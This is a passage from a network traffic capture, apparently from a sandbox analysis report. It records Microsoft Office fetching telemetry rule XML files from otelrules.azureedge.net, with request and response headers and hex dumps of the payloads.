31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	57515	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:13 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7585955c-001e-000b-518c-1515a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123413Z-15767c5fc55rg5b7sh1vuv8t7n0000000ee0000000004acn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	57516	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:13 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 89fd357a-501e-008f-758c-159054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123413Z-15767c5fc55whfstvfw43u8fp40000000e1g00000000pbar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	57517	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:14 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:14 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: a7582d38-101e-0028-528c-158f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123414Z-15767c5fc55rg5b7sh1vuv8t7n0000000e9g00000000kkq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	57519	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:14 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:14 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 0c184816-a01e-000d-72ff-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123414Z-1657d5bbd48p2j6x2quer0q02800000000m000000000eeer x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	57518	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:14 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:14 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: cd0b82ba-d01e-0049-1304-17e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123414Z-1657d5bbd48tzspvqynhg14aes00000000r000000000h4sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	57520	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:14 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:14 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: d3a3eb01-b01e-003d-1ef1-16d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123414Z-1657d5bbd48jwrqbupe3ktsx9w00000000m000000000fxab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	57521	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:14 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:14 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: ca2bab4f-201e-0071-5e14-17ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123414Z-1657d5bbd48xdq5dkwwugdpzr000000000w0000000003rzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	57522	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:15 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 7baaa16d-b01e-0097-4d8c-154f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123415Z-15767c5fc55rg5b7sh1vuv8t7n0000000e9g00000000kks5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	57523	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:15 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4ef38422-401e-000a-160c-174a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123415Z-1657d5bbd48jwrqbupe3ktsx9w00000000hg00000000ggtr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	57524	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:15 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:15 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: c326dec7-201e-0003-0c12-17f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123415Z-1657d5bbd48cpbzgkvtewk0wu000000000mg00000000597m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:15 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	57526	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:15 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 42bb1403-701e-005c-578c-15bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123415Z-15767c5fc55kg97hfq5uqyxxaw0000000dz000000000hhna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:15 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	57525	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:15 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
